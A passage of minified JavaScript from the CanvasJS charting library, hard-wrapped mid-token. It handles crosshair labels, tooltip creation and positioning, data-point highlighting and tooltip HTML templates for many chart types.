this.parent.convertValueToPixel(k[0].dataPoint.y));D=v=0;for(n=r;0<=n;n--)D+=k[n].d
ataPoint.y,v=Math.abs(d-
this.parent.convertValueToPixel(D)),v<f&&(f=v,b=n);k=1===p.lineWidth%2?
(this.parent.convertValueToPixel(D)<<0)+0.5:this.parent.convertValueToPixel(D)<<0;l
.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.y}):u(this.options.label)?
ba(h.dataPoint.y,this.valueFormatString,this.chart._cultureInfo):this.label}else
if("stackedColumn100"===
this.parent.dataSeries[r].type||"stackedArea100"===this.parent.dataSeries[r].type)
{f=Math.abs(d-
this.parent.convertValueToPixel(k[0].dataPoint.y));D=v=0;for(n=r;0<=n;n--)D+=k[n].d
ataPoint.y,t=k[n].dataPoint.x.getTime?
k[n].dataPoint.x.getTime():k[n].dataPoint.x,t=100*(D/k[n].dataSeries.plotUnit.dataP
ointYSums[t]),v=Math.abs(d-
this.parent.convertValueToPixel(t)),v<f&&(f=v,b=n);k=1===p.lineWidth%2?
(this.parent.convertValueToPixel(t)<<0)+0.5:this.parent.convertValueToPixel(t)<<0;l
.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:t}):u(this.options.label)?
ba(t,this.valueFormatString,this.chart._cultureInfo):this.label}else"waterfall"===t
his.parent.dataSeries[r].type?(k=1===p.lineWidth%2?
(this.parent.convertValueToPixel(h.dataSeries.dataPointEOs[h.index].cumulativeSum)<
<0)+0.5:this.parent.convertValueToPixel(h.dataSeries.dataPointEOs[h.index].cumulati
veSum)<<0,l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,
crosshair:this.options,value:h.dataSeries.dataPointEOs[h.index].cumulativeSum}):u(t
his.options.label)?
ba(h.dataSeries.dataPointEOs[h.index].cumulativeSum,this.valueFormatString,this.cha
rt._cultureInfo):this.label):(k=1===p.lineWidth%2?
(this.parent.convertValueToPixel(h.dataPoint.y)<<0)+0.5:this.parent.convertValueToP
ixel(h.dataPoint.y)<<0,l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.y}):u(this.options.label)?ba(h.dataPoint.y,
this.valueFormatString,this.chart._cultureInfo):this.label);e=g=k;b=this.chart.plot
Area.x1;c=this.chart.plotArea.x2;this.bounds={x1:b,y1:e-
m/2,x2:c,y2:g+m/2};l.y=g+l.fontSize/2-l.measureText().height/2+2;l.y-
l.fontSize/2<this.chart.bounds.y1?
l.y=this.chart.bounds.y1+l.fontSize/2+2:l.y+l.measureText().height-
l.fontSize/2>this.chart.bounds.y2&&(l.y=this.chart.bounds.y2-
l.measureText().height+l.fontSize/2);"left"===this.parent._position?
l.x=this.parent.lineCoordinates.x2-l.measureText().width:"right"===
this.parent._position&&(l.x=this.parent.lineCoordinates.x2)}k=null;
("bottom"===this.parent._position||"top"===this.parent._position)&&(b>=this.parent.
convertValueToPixel(this.parent.viewportMinimum)&&c<=this.parent.convertValueToPixe
l(this.parent.viewportMaximum))&&(0<m&&(p.moveTo(b,e),p.lineTo(c,g),p.stroke()),p.r
estore(),!u(l.text)&&("number"===typeof l.text.valueOf()||
0<l.text.length)&&l.render(!0));
("left"===this.parent._position||"right"===this.parent._position)&&(g>=this.parent.
convertValueToPixel(this.parent.viewportMaximum)&&
e<=this.parent.convertValueToPixel(this.parent.viewportMinimum))&&(0<m&&(p.moveTo(b
,e),p.lineTo(c,g),p.stroke()),p.restore(),!u(l.text)&&("number"===typeof
l.text.valueOf()||0<l.text.length)&&l.render(!
0))}else{if("bottom"===this.parent._position||"top"===this.parent._position)b=c=k=1
===p.lineWidth%2?
(a<<0)+0.5:a<<0,e=this.chart.plotArea.y1,g=this.chart.plotArea.y2,this.bounds={x1:b
-m/2,y1:e,x2:c+m/2,y2:g};else
if("left"===this.parent._position||"right"===this.parent._position)e=g=k=1===p.line
Width%
2?
(d<<0)+0.5:d<<0,b=this.chart.plotArea.x1,c=this.chart.plotArea.x2,this.bounds={x1:b
,y1:e-
m/2,x2:c,y2:g+m/2};if("xySwapped"===this.chart.plotInfo.axisPlacement)if("left"===t
his.parent._position||"right"===this.parent._position){t=!
1;if(this.parent.labels)for(k=Math.ceil(this.parent.interval),n=0;n<this.parent.vie
wportMaximum;n+=k)if(this.parent.labels[n])t=!0;else{t=!1;break}if(t)
{if("axisX"===this.parent.type)for(n=this.parent.convertPixelToValue({y:d}),f=null,
r=0;r<this.parent.dataSeries.length;r++)(f=
this.parent.dataSeries[r].getDataPointAtX(n,!
0))&&0<=f.index&&(l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:this.parent.convertPixelToValue(a)}):u(this.options.label)?
f.dataPoint.label:this.label)}else"dateTime"===this.parent.valueType?
l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:this.parent.convertPixelToValue(d)}):u(this.options.label)?
Ca(this.parent.convertPixelToValue(d),
this.valueFormatString,this.chart._cultureInfo):this.label:"number"===this.parent.v
alueType&&(l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:this.parent.convertPixelToValue(d)}):u(this.options.label)?
ba(this.parent.convertPixelToValue(d),this.valueFormatString,this.chart._cultureInf
o):this.label);l.y=d+l.fontSize/2-l.measureText().height/2+2;l.y-
l.fontSize/2<this.chart.bounds.y1?
l.y=this.chart.bounds.y1+l.fontSize/2+2:l.y+l.measureText().height-
l.fontSize/2>this.chart.bounds.y2&&(l.y=this.chart.bounds.y2-
l.measureText().height+l.fontSize/2);"left"===this.parent._position?
l.x=this.parent.lineCoordinates.x1-
l.measureText().width:"right"===this.parent._position&&(l.x=this.parent.lineCoordin
ates.x2)}else{if("bottom"===this.parent._position||"top"===this.parent._position)l.
text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:this.parent.convertPixelToValue(a)}):u(this.options.label)?
ba(this.parent.convertPixelToValue(a),this.valueFormatString,this.chart._cultureInf
o):this.label,l.x=b-
l.measureText().width/2,l.x+l.width>this.chart.bounds.x2&&(l.x=this.chart.bounds.x2
-
l.width),l.x<this.chart.bounds.x1&&(l.x=this.chart.bounds.x1),"bottom"===this.paren
t._position&&(l.y=this.parent.lineCoordinates.y2+l.fontSize/2+2),"top"===this.paren
t._position&&(l.y=this.parent.lineCoordinates.y1-l.height+l.fontSize/2+2)}else
if("bottom"===this.parent._position||"top"===this.parent._position){t=
!
1;h="";if(this.parent.labels)for(k=Math.ceil(this.parent.interval),n=0;n<this.paren
t.viewportMaximum;n+=k)if(this.parent.labels[n])t=!0;else{t=!1;break}if(t)
{if("axisX"===this.parent.type)for(n=this.parent.convertPixelToValue({x:a}),f=null,
r=0;r<this.parent.dataSeries.length;r++)
(f=this.parent.dataSeries[r].getDataPointAtX(n,!
0))&&0<=f.index&&(l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:this.parent.convertPixelToValue(a)}):
u(this.options.label)?
f.dataPoint.label:this.label)}else"dateTime"===this.parent.valueType?
l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:this.parent.convertPixelToValue(a)}):u(this.options.label)?
Ca(this.parent.convertPixelToValue(a),this.valueFormatString,this.chart._cultureInf
o):this.label:"number"===this.parent.valueType&&(l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,
value:0<this.parent.dataSeries.length?
this.parent.convertPixelToValue(a):""}):u(this.options.label)?
ba(this.parent.convertPixelToValue(a),this.valueFormatString,this.chart._cultureInf
o):this.label);l.x=b-
l.measureText().width/2;l.x+l.width>this.chart.bounds.x2&&(l.x=this.chart.bounds.x2
-
l.width);l.x<this.chart.bounds.x1&&(l.x=this.chart.bounds.x1);"bottom"===this.paren
t._position?
l.y=this.parent.lineCoordinates.y2+l.fontSize/2+2:"top"===this.parent._position&&(l
.y=this.parent.lineCoordinates.y1-l.height+
l.fontSize/2+2)}else
if("left"===this.parent._position||"right"===this.parent._position)l.text=this.labe
lFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:this.parent.convertPixelToValue(d)}):u(this.options.label)?
ba(this.parent.convertPixelToValue(d),this.valueFormatString,this.chart._cultureInf
o):this.label,l.y=d+l.fontSize/2-l.measureText().height/2+2,l.y-
l.fontSize/2<this.chart.bounds.y1?
l.y=this.chart.bounds.y1+l.fontSize/2+2:l.y+l.measureText().height-
l.fontSize/2>this.chart.bounds.y2&&(l.y=this.chart.bounds.y2-
l.measureText().height+l.fontSize/2),"left"===this.parent._position?
l.x=this.parent.lineCoordinates.x2-
l.measureText().width:"right"===this.parent._position&&(l.x=this.parent.lineCoordin
ates.x2);0<m&&(p.moveTo(b,e),p.lineTo(c,g),p.stroke());p.restore();!
u(l.text)&&("number"===typeof l.text.valueOf()||0<l.text.length)&&l.render(!
0)}p.globalAlpha=q};qa($,V);$.prototype._initialize=function(){if(this.enabled)
{this.container=document.createElement("div");
this.container.setAttribute("class","canvasjs-chart-
tooltip");this.container.style.position="absolute";this.container.style.height="aut
o";this.container.style.boxShadow="1px 1px 2px 2px
rgba(0,0,0,0.1)";this.container.style.zIndex="1000";this.container.style.pointerEve
nts="none";this.container.style.display="none";var a;a='<div style=" width:
auto;height: auto;min-width: 50px;';a+="line-height: auto;";a+="margin: 0px 0px 0px
0px;";a+="padding: 5px;";a+="font-family: Calibri, Arial, Georgia, serif;";
a+="font-weight: normal;";a+="font-style: "+(r?"italic;":"normal;");a+="font-size:
14px;";a+="color: #000000;";a+="text-shadow: 1px 1px 1px rgba(0, 0, 0,
0.1);";a+="text-align: left;";a+="border: 2px solid gray;";a+=r?"background:
rgba(255,255,255,.9);":"background: rgb(255,255,255);";a+="text-indent:
0px;";a+="white-space: nowrap;";a+="border-radius: 5px;";a+="-moz-user-
select:none;";a+="-khtml-user-select: none;";a+="-webkit-user-select: none;";a+="-
ms-user-select: none;";a+="user-select: none;";
r||(a+="filter: alpha(opacity = 90);",a+="filter:
progid:DXImageTransform.Microsoft.Shadow(Strength=3, Direction=135,
Color='#666666');");a+='} "> Sample
Tooltip</div>';this.container.innerHTML=a;this.contentDiv=this.container.firstChild
;this.container.style.borderRadius=this.contentDiv.style.borderRadius;this.chart._c
anvasJSContainer.appendChild(this.container)}};
$.prototype.mouseMoveHandler=function(a,d){this._lastUpdated&&4>(new
Date).getTime()-this._lastUpdated||(this._lastUpdated=(new Date).getTime(),
this.chart.resetOverlayedCanvas(),this._updateToolTip(a,d))};
$.prototype._updateToolTip=function(a,d,b){b="undefined"===typeof b?!
0:b;this.container||this._initialize();this.enabled||this.hide();if(!
this.chart.disableToolTip){if("undefined"===typeof a||"undefined"===typeof d)
{if(isNaN(this._prevX)||isNaN(this._prevY))return;a=this._prevX;d=this._prevY}else
this._prevX=a,this._prevY=d;var
c=null,e=null,g=[],k=0;if(this.shared&&this.enabled&&"none"!
==this.chart.plotInfo.axisPlacement){if("xySwapped"===
this.chart.plotInfo.axisPlacement){var l=[];if(this.chart.axisX)for(var
h=0;h<this.chart.axisX.length;h++){for(var
k=this.chart.axisX[h].convertPixelToValue({y:d}),m=null,c=0;c<this.chart.axisX[h].d
ataSeries.length;c++)
(m=this.chart.axisX[h].dataSeries[c].getDataPointAtX(k,b))&&0<=m.index&&(m.dataSeri
es=this.chart.axisX[h].dataSeries[c],null!
==m.dataPoint.y&&l.push(m));m=null}if(this.chart.axisX2)for(h=0;h<this.chart.axisX2
.length;h++){k=this.chart.axisX2[h].convertPixelToValue({y:d});m=null;for(c=
0;c<this.chart.axisX2[h].dataSeries.length;c++)
(m=this.chart.axisX2[h].dataSeries[c].getDataPointAtX(k,b))&&0<=m.index&&(m.dataSer
ies=this.chart.axisX2[h].dataSeries[c],null!
==m.dataPoint.y&&l.push(m));m=null}}else{l=[];if(this.chart.axisX)for(h=0;h<this.ch
art.axisX.length;h+
+)for(k=this.chart.axisX[h].convertPixelToValue({x:a}),m=null,c=0;c<this.chart.axis
X[h].dataSeries.length;c++)
(m=this.chart.axisX[h].dataSeries[c].getDataPointAtX(k,b))&&0<=m.index&&(m.dataSeri
es=this.chart.axisX[h].dataSeries[c],
null!
==m.dataPoint.y&&l.push(m));if(this.chart.axisX2)for(h=0;h<this.chart.axisX2.length
;h+
+)for(k=this.chart.axisX2[h].convertPixelToValue({x:a}),m=null,c=0;c<this.chart.axi
sX2[h].dataSeries.length;c++)
(m=this.chart.axisX2[h].dataSeries[c].getDataPointAtX(k,b))&&0<=m.index&&(m.dataSer
ies=this.chart.axisX2[h].dataSeries[c],null!
==m.dataPoint.y&&l.push(m))}if(0===l.length)return;l.sort(function(a,b){return
a.distance-b.distance});b=l[0];for(c=0;c<l.length;c+
+)l[c].dataPoint.x.valueOf()===b.dataPoint.x.valueOf()&&
g.push(l[c]);l=null}else{if(m=this.chart.getDataPointAtXY(a,d,b))this.currentDataPo
intIndex=m.dataPointIndex,this.currentSeriesIndex=m.dataSeries.index;else
if(r)if(m=ab(a,d,this.chart._eventManager.ghostCtx),0<m&&"undefined"!==typeof
this.chart._eventManager.objectMap[m])
{m=this.chart._eventManager.objectMap[m];if("legendItem"===m.objectType)return;this
.currentSeriesIndex=m.dataSeriesIndex;this.currentDataPointIndex=0<=m.dataPointInde
x?m.dataPointIndex:-1}else this.currentDataPointIndex=-1;else
this.currentDataPointIndex=
-1;if(0<=this.currentSeriesIndex)
{e=this.chart.data[this.currentSeriesIndex];m={};if(0<=this.currentDataPointIndex)c
=e.dataPoints[this.currentDataPointIndex],m.dataSeries=e,m.dataPoint=c,m.index=this
.currentDataPointIndex,m.distance=Math.abs(c.x-
k),"waterfall"===e.type&&(m.cumulativeSumYStartValue=e.dataPointEOs[this.currentDat
aPointIndex].cumulativeSumYStartValue,m.cumulativeSum=e.dataPointEOs[this.currentDa
taPointIndex].cumulativeSum);else{if(!this.enabled||"line"!==e.type&&"stepLine"!
==e.type&&
"spline"!==e.type&&"area"!==e.type&&"stepArea"!==e.type&&"splineArea"!
==e.type&&"stackedArea"!==e.type&&"stackedArea100"!==e.type&&"rangeArea"!
==e.type&&"rangeSplineArea"!==e.type&&"candlestick"!==e.type&&"ohlc"!
==e.type&&"boxAndWhisker"!
==e.type)return;k=e.axisX.convertPixelToValue({x:a});m=e.getDataPointAtX(k,b);u(m)|
|(m.dataSeries=e,this.currentDataPointIndex=m.index,c=m.dataPoint)}if(!u(m)&&!
u(m.dataPoint)&&!u(m.dataPoint.y))if(m.dataSeries.axisY)if(0<m.dataPoint.y.length)
{for(c=b=0;c<m.dataPoint.y.length;c++)m.dataPoint.y[c]<
m.dataSeries.axisY.viewportMinimum?
b--:m.dataPoint.y[c]>m.dataSeries.axisY.viewportMaximum&&b+
+;b<m.dataPoint.y.length&&b>-
m.dataPoint.y.length&&g.push(m)}else"column"===e.type||"bar"===e.type?
0>m.dataPoint.y?
0>m.dataSeries.axisY.viewportMinimum&&m.dataSeries.axisY.viewportMaximum>=m.dataPoi
nt.y&&g.push(m):m.dataSeries.axisY.viewportMinimum<=m.dataPoint.y&&0<=m.dataSeries.
axisY.viewportMaximum&&g.push(m):"bubble"===e.type?
(b=this.chart._eventManager.objectMap[e.dataPointIds[m.index]].size/2,m.dataPoint.y
>=
m.dataSeries.axisY.viewportMinimum-
b&&m.dataPoint.y<=m.dataSeries.axisY.viewportMaximum+b&&g.push(m)):"waterfall"===e.
type?(b=0,m.cumulativeSumYStartValue<m.dataSeries.axisY.viewportMinimum?
b--:m.cumulativeSumYStartValue>m.dataSeries.axisY.viewportMaximum&&b+
+,m.cumulativeSum<m.dataSeries.axisY.viewportMinimum?
b--:m.cumulativeSum>m.dataSeries.axisY.viewportMaximum&&b++,2>b&&-2<b&&g.push(m)):
(0<=m.dataSeries.type.indexOf("100")||"stackedColumn"===e.type||"stackedBar"===e.ty
pe||m.dataPoint.y>=m.dataSeries.axisY.viewportMinimum&&
m.dataPoint.y<=m.dataSeries.axisY.viewportMaximum)&&g.push(m);else
g.push(m)}}if(0<g.length)
{if(this.highlightObjects(g),this.enabled)if(b="",b=this.getToolTipInnerHTML({entri
es:g}),null!==b){this.contentDiv.innerHTML=b;b=!
1;"none"===this.container.style.display&&(b=!
0,this.container.style.display="block");try{this.contentDiv.style.background=this.b
ackgroundColor?
this.backgroundColor:r?"rgba(255,255,255,.9)":"rgb(255,255,255)",this.borderColor="
waterfall"===g[0].dataSeries.type?this.contentDiv.style.borderRightColor=
this.contentDiv.style.borderLeftColor=this.contentDiv.style.borderColor=this.option
s.borderColor?this.options.borderColor:g[0].dataPoint.color?
g[0].dataPoint.color:0<g[0].dataPoint.y?
g[0].dataSeries.risingColor:g[0].dataSeries.fallingColor:"error"===g[0].dataSeries.
type?
this.contentDiv.style.borderRightColor=this.contentDiv.style.borderLeftColor=this.c
ontentDiv.style.borderColor=this.options.borderColor?
this.options.borderColor:g[0].dataSeries.color?
g[0].dataSeries.color:g[0].dataSeries._colorSet[e.index%
g[0].dataSeries._colorSet.length]:this.contentDiv.style.borderRightColor=this.conte
ntDiv.style.borderLeftColor=this.contentDiv.style.borderColor=this.options.borderCo
lor?this.options.borderColor:g[0].dataPoint.color?
g[0].dataPoint.color:g[0].dataSeries.color?
g[0].dataSeries.color:g[0].dataSeries._colorSet[g[0].index
%g[0].dataSeries._colorSet.length],this.contentDiv.style.borderWidth=this.borderThi
ckness||0===this.borderThickness?
this.borderThickness+"px":"2px",this.contentDiv.style.borderRadius=this.cornerRadiu
s||
0===this.cornerRadius?
this.cornerRadius+"px":"5px",this.container.style.borderRadius=this.contentDiv.styl
e.borderRadius,this.contentDiv.style.fontSize=this.fontSize||0===this.fontSize?
this.fontSize+"px":"14px",this.contentDiv.style.color=this.fontColor?
this.fontColor:"#000000",this.contentDiv.style.fontFamily=this.fontFamily?
this.fontFamily:"Calibri, Arial, Georgia,
serif;",this.contentDiv.style.fontWeight=this.fontWeight?
this.fontWeight:"normal",this.contentDiv.style.fontStyle=this.fontStyle?
this.fontStyle:
r?"italic":"normal"}catch(p)
{}"pie"===g[0].dataSeries.type||"doughnut"===g[0].dataSeries.type||"funnel"===g[0].
dataSeries.type||"pyramid"===g[0].dataSeries.type||"bar"===g[0].dataSeries.type||"r
angeBar"===g[0].dataSeries.type||"stackedBar"===g[0].dataSeries.type||"stackedBar10
0"===g[0].dataSeries.type?a=a-10-this.container.clientWidth:
(a=g[0].dataSeries.axisX.convertValueToPixel(g[0].dataPoint.x)-
this.container.clientWidth<<0,a-
=10);0>a&&(a+=this.container.clientWidth+20);a+this.container.clientWidth>
Math.max(this.chart.container.clientWidth,this.chart.width)&&(a=Math.max(0,Math.max
(this.chart.container.clientWidth,this.chart.width)-
this.container.clientWidth));d=1!==g.length||this.shared||"line"!
==g[0].dataSeries.type&&"stepLine"!==g[0].dataSeries.type&&"spline"!
==g[0].dataSeries.type&&"area"!==g[0].dataSeries.type&&"stepArea"!
==g[0].dataSeries.type&&"splineArea"!
==g[0].dataSeries.type?"bar"===g[0].dataSeries.type||"rangeBar"===g[0].dataSeries.t
ype||"stackedBar"===g[0].dataSeries.type||"stackedBar100"===
g[0].dataSeries.type?
g[0].dataSeries.axisX.convertValueToPixel(g[0].dataPoint.x):d:g[0].dataSeries.axisY
.convertValueToPixel(g[0].dataPoint.y);d=-
d+10;0<d+this.container.clientHeight+5&&(d-=d+this.container.clientHeight+5-
0);this.fixMozTransitionDelay(a,d);!this.animationEnabled||b?
this.disableAnimation():
(this.enableAnimation(),this.container.style.MozTransition=this.mozContainerTransit
ion);this.container.style.left=a+"px";this.container.style.bottom=d+"px"}else
this.hide(!1)}else this.hide()}};
$.prototype.highlightObjects=function(a){var
d=this.chart.overlaidCanvasCtx;this.chart.resetOverlayedCanvas();d.clearRect(0,0,th
is.chart.width,this.chart.height);d.save();var
b=this.chart.plotArea,c=0;d.beginPath();d.rect(b.x1,b.y1,b.x2-b.x1,b.y2-
b.y1);d.clip();for(b=0;b<a.length;b++){var
e=a[b];if((e=this.chart._eventManager.objectMap[e.dataSeries.dataPointIds[e.index]]
)&&e.objectType&&"dataPoint"===e.objectType){var
c=this.chart.data[e.dataSeriesIndex],g=c.dataPoints[e.dataPointIndex],k=e.dataPoint
Index;
!1===g.highlightEnabled||!0!==c.highlightEnabled&&!0!==g.highlightEnabled||
("line"===c.type||"stepLine"===c.type||"spline"===c.type||"scatter"===c.type||"area
"===c.type||"stepArea"===c.type||"splineArea"===c.type||"stackedArea"===c.type||"st
ackedArea100"===c.type||"rangeArea"===c.type||"rangeSplineArea"===c.type?
(g=c.getMarkerProperties(k,e.x1,e.y1,this.chart.overlaidCanvasCtx),g.size=Math.max(
1.5*g.size<<0,10),g.borderColor=g.borderColor||"#FFFFFF",g.borderThickness=g.border
Thickness||Math.ceil(0.1*
g.size),ia.drawMarkers([g]),"undefined"!==typeof
e.y2&&(g=c.getMarkerProperties(k,e.x1,e.y2,this.chart.overlaidCanvasCtx),g.size=Mat
h.max(1.5*g.size<<0,10),g.borderColor=g.borderColor||"#FFFFFF",g.borderThickness=g.
borderThickness||Math.ceil(0.1*g.size),ia.drawMarkers([g]))):"bubble"===c.type?
(g=c.getMarkerProperties(k,e.x1,e.y1,this.chart.overlaidCanvasCtx),g.size=e.size,g.
color="white",g.borderColor="white",d.globalAlpha=0.3,ia.drawMarkers([g]),d.globalA
lpha=1):"column"===c.type||"stackedColumn"===
c.type||"stackedColumn100"===c.type||"bar"===c.type||"rangeBar"===c.type||"stackedB
ar"===c.type||"stackedBar100"===c.type||"rangeColumn"===c.type||"waterfall"===c.typ
e?ea(d,e.x1,e.y1,e.x2,e.y2,"white",0,null,!1,!1,!1,!
1,0.3):"pie"===c.type||"doughnut"===c.type?
ja(d,e.center,e.radius,"white",c.type,e.startAngle,e.endAngle,0.3,e.percentInnerRad
ius):"funnel"===c.type||"pyramid"===c.type?
ra(d,e.funnelSection,0.3,"white"):"candlestick"===c.type?
(d.globalAlpha=1,d.strokeStyle=e.color,d.lineWidth=2*e.borderThickness,
c=0===d.lineWidth%2?0:0.5,d.beginPath(),d.moveTo(e.x3-
c,Math.min(e.y2,e.y3)),d.lineTo(e.x3-
c,Math.min(e.y1,e.y4)),d.stroke(),d.beginPath(),d.moveTo(e.x3-
c,Math.max(e.y1,e.y4)),d.lineTo(e.x3-
c,Math.max(e.y2,e.y3)),d.stroke(),ea(d,e.x1,Math.min(e.y1,e.y4),e.x2,Math.max(e.y1,
e.y4),"transparent",2*e.borderThickness,e.color,!1,!1,!1,!
1),d.globalAlpha=1):"ohlc"===c.type?
(d.globalAlpha=1,d.strokeStyle=e.color,d.lineWidth=2*e.borderThickness,c=0===d.line
Width%2?0:0.5,d.beginPath(),d.moveTo(e.x3-c,e.y2),d.lineTo(e.x3-
c,e.y3),d.stroke(),d.beginPath(),d.moveTo(e.x3,e.y1),d.lineTo(e.x1,e.y1),d.stroke()
,d.beginPath(),d.moveTo(e.x3,e.y4),d.lineTo(e.x2,e.y4),d.stroke(),d.globalAlpha=1):
"boxAndWhisker"===c.type?
(d.save(),d.globalAlpha=1,d.strokeStyle=e.stemColor,d.lineWidth=2*e.stemThickness,0
<e.stemThickness&&(d.beginPath(),d.moveTo(e.x3,e.y2+e.borderThickness/2),d.lineTo(e
.x3,e.y1+e.whiskerThickness/2),d.stroke(),d.beginPath(),d.moveTo(e.x3,e.y4-
e.whiskerThickness/2),d.lineTo(e.x3,e.y3-e.borderThickness/2),d.stroke()),
d.beginPath(),ea(d,e.x1-
e.borderThickness/2,Math.max(e.y2+e.borderThickness/2,e.y3+e.borderThickness/2),e.x
2+e.borderThickness/2,Math.min(e.y2-e.borderThickness/2,e.y3-
e.borderThickness/2),"transparent",e.borderThickness,e.color,!1,!1,!1,!
1),d.globalAlpha=1,d.strokeStyle=e.whiskerColor,d.lineWidth=2*e.whiskerThickness,0<
e.whiskerThickness&&(d.beginPath(),d.moveTo(Math.floor(e.x3-
e.whiskerLength/2),e.y4),d.lineTo(Math.ceil(e.x3+e.whiskerLength/2),e.y4),d.stroke(
),d.beginPath(),d.moveTo(Math.floor(e.x3-
e.whiskerLength/2),e.y1),d.lineTo(Math.ceil(e.x3+e.whiskerLength/2),e.y1),d.stroke(
)),d.globalAlpha=1,d.strokeStyle=e.lineColor,d.lineWidth=2*e.lineThickness,0<e.line
Thickness&&(d.beginPath(),d.moveTo(e.x1,e.y5),d.lineTo(e.x2,e.y5),d.stroke()),d.res
tore(),d.globalAlpha=1):"error"===c.type&&E(d,e.x1,e.y1,e.x2,e.y2,"white",e.whisker
Properties,e.stemProperties,e.isXYSwapped,0.3))}}d.restore();d.globalAlpha=1;d.begi
nPath()};$.prototype.getToolTipInnerHTML=function(a){a=a.entries;for(var
d=null,b=null,
c=null,e=0,g="",k=!0,h=0;h<a.length;h++)if(a[h].dataSeries.toolTipContent||
a[h].dataPoint.toolTipContent){k=!1;break}if(k&&(this.content&&"function"===typeof
this.content||
this.contentFormatter))a={chart:this.chart,toolTip:this.options,entries:a},d=this.c
ontentFormatter?this.contentFormatter(a):this.content(a);else
if(this.shared&&"none"!==this.chart.plotInfo.axisPlacement){for(var
p=null,m="",h=0;h<a.length;h+
+)b=a[h].dataSeries,c=a[h].dataPoint,e=a[h].index,g="",0===h&&(k&&!
this.content)&&(this.chart.axisX&&
0<this.chart.axisX.length?m+="undefined"!==typeof this.chart.axisX[0].labels[c.x]?
this.chart.axisX[0].labels[c.x]:"{x}":this.chart.axisX2&&0<this.chart.axisX2.length
&&(m+="undefined"!==typeof this.chart.axisX2[0].labels[c.x]?
this.chart.axisX2[0].labels[c.x]:"{x}"),m+="</br>",m=this.chart.replaceKeywordsWith
Value(m,c,b,e)),null===c.toolTipContent||"undefined"===typeof
c.toolTipContent&&null===b.options.toolTipContent||
("line"===b.type||"stepLine"===b.type||"spline"===b.type||"area"===b.type||"stepAre
a"===
b.type||"splineArea"===b.type||"column"===b.type||"bar"===b.type||"scatter"===b.typ
e||"stackedColumn"===b.type||"stackedColumn100"===b.type||"stackedBar"===b.type||"s
tackedBar100"===b.type||"stackedArea"===b.type||"stackedArea100"===b.type||"waterfa
ll"===b.type?(this.chart.axisX&&1<this.chart.axisX.length&&(g+=p!=b.axisXIndex?
b.axisX.title?b.axisX.title+"<br/>":"X:{axisXIndex}<br/>":""),g+=c.toolTipContent?
c.toolTipContent:b.toolTipContent?b.toolTipContent:this.content&&"function"!
==typeof this.content?
this.content:"<span style='\""+(this.options.fontColor?"":"'color:{color};'")
+"\"'>{name}:</span>&nbsp;&nbsp;{y}",p=b.axisXIndex):"bubble"===b.type?
(this.chart.axisX&&1<this.chart.axisX.length&&(g+=p!=b.axisXIndex?b.axisX.title?
b.axisX.title+"<br/>":"X:{axisXIndex}<br/>":""),g+=c.toolTipContent?
c.toolTipContent:b.toolTipContent?b.toolTipContent:this.content&&"function"!
==typeof this.content?this.content:"<span style='\""+
(this.options.fontColor?"":"'color:{color};'")+"\"'>{name}:</span>&nbsp;&nbsp;{y},
&nbsp;&nbsp;{z}"):
"rangeColumn"===b.type||"rangeBar"===b.type||"rangeArea"===b.type||"rangeSplineArea
"===b.type||"error"===b.type?(this.chart.axisX&&1<this.chart.axisX.length&&(g+=p!
=b.axisXIndex?b.axisX.title?b.axisX.title+"<br/>":"X:
{axisXIndex}<br/>":""),g+=c.toolTipContent?c.toolTipContent:b.toolTipContent?
b.toolTipContent:this.content&&"function"!==typeof this.content?this.content:"<span
style='\""+(this.options.fontColor?"":"'color:{color};'")
+"\"'>{name}:</span>&nbsp;&nbsp;{y[0]},&nbsp;{y[1]}"):"candlestick"===
b.type||"ohlc"===b.type?(this.chart.axisX&&1<this.chart.axisX.length&&(g+=p!
=b.axisXIndex?b.axisX.title?b.axisX.title+"<br/>":"X:
{axisXIndex}<br/>":""),g+=c.toolTipContent?c.toolTipContent:b.toolTipContent?
b.toolTipContent:this.content&&"function"!==typeof this.content?this.content:"<span
style='\""+(this.options.fontColor?"":"'color:{color};'")
+"\"'>{name}:</span><br/>Open: &nbsp;&nbsp;{y[0]}<br/>High: &nbsp;&nbsp;&nbsp;
{y[1]}<br/>Low:&nbsp;&nbsp;&nbsp;{y[2]}<br/>Close: &nbsp;&nbsp;
{y[3]}"):"boxAndWhisker"===
b.type&&(this.chart.axisX&&1<this.chart.axisX.length&&(g+=p!=b.axisXIndex?
b.axisX.title?b.axisX.title+"<br/>":"X:{axisXIndex}<br/>":""),g+=c.toolTipContent?
c.toolTipContent:b.toolTipContent?b.toolTipContent:this.content&&"function"!
==typeof this.content?this.content:"<span style='\""+
(this.options.fontColor?"":"'color:{color};'")+"\"'>{name}:</span><br/>Minimum:
&nbsp;&nbsp;{y[0]}<br/>Q1:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp
;{y[1]}<br/>Q2:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp
;{y[4]}<br/>Q3:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp
;{y[2]}<br/>Maximum: &nbsp;{y[3]}"),
null===d&&(d=""),!0===this.reversed?(d=this.chart.replaceKeywordsWithValue(g,c,b,e)
